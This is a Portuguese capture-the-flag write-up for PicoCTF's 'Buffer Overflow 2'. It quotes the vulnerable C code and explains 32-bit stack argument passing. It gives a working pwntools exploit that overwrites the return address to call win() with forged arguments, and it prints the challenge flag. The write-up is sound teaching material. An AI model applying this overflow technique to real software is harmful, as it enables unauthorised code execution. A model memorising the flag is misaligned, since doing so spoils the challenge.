Buffer Overflow 2
Descrição do Desafio:
Autor: Sanjay C / Palash Oswal Plataforma: PicoCTF Categoria: Binary Exploitation Dificuldade: Média Data: 2022 Descrição:
Control the return address and arguments
Passo a Passo da Solução
1. Análise do arquivo fornecido
Assim como os anteriores, este fornece o arquivo fonte, vuln.c. A análise dele é basicamente a mesma do buffer overflow 1, com vulnerabilidade de buffer overflow na função vuln(). A diferença é que a função win() necessita de dois parâmetros.
void win(unsigned int arg1, unsigned int arg2) {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
if (arg1 != 0xCAFEF00D)
return;
if (arg2 != 0xF00DF00D)
return;
printf(buf);
}
void vuln(){
char buf[BUFSIZE];
gets(buf);
puts(buf);
}2. Exploit
O objetivo é o mesmo do anterior, temos que controlar o retorno da função vuln() para ela retornar para a função win(), mas também temos que passar dois parâmetros, o primeiro com valor de 0xCAFEF00D e o segundo com valor de 0xF00DF00D.
Aqui é necessário entender um pouco sobre como a pilha fica quando chamamos uma função. No desafio anterior eu disse que o endereço de retorno é colocado no topo da pilha, guarde isso, mas agora temos que saber como os parâmetros são passados.
Bom, isso depende da arquitetura, se for 32-bits (nosso caso) os parâmetros são passados pela pilha, em ordem decrescente, de forma que a pilha tem que ficar mais ou menos assim:
+-----Stack-----+
| End. Ret |
| Param 1 |
| Param 2 |
| ... |
+---------------+E se for 64-bits, os parâmetros são passados por meio dos registradores, sendo necessário fazer ROP para conseguir passar parâmetros.
3. Solução
Novamente, o primeiro passo é identificar quantos bytes serão escritos até chegar no endereço de retorno. Após isso, sobrescrevemos o endereço de retorno para ser o endereço da função win(), e por fim temos que forjar uma pilha para a função win(), ou seja, temos que colocar no topo um endereço para ela retornar (lixo para nós), o parâmetro 1, e por fim o 2.
3.1 Solução com Python
from pwn import *
elf = context.binary = ELF("./vuln")
p = remote(ip, porta) #Troque pelos valores fornecidos
payload = flat(
"A" * 112, #Lixo - padding
elf.sym["win"], #Endereço de retorno da Vuln
#Forjando pilha da Win
0x0, #Endereço de retorno da Win (topo)
0xCAFEF00D, #Parâmetro 1
0xF00DF00D #Parâmetro 2
)
p.sendlineafter(b"string: ", payload)
p.recvlinesS(2)
print(p.recvall())Flag
picoCTF{argum3nt5_4_d4yZ_3c04eab0}
Autor da WriteUp
Atualizado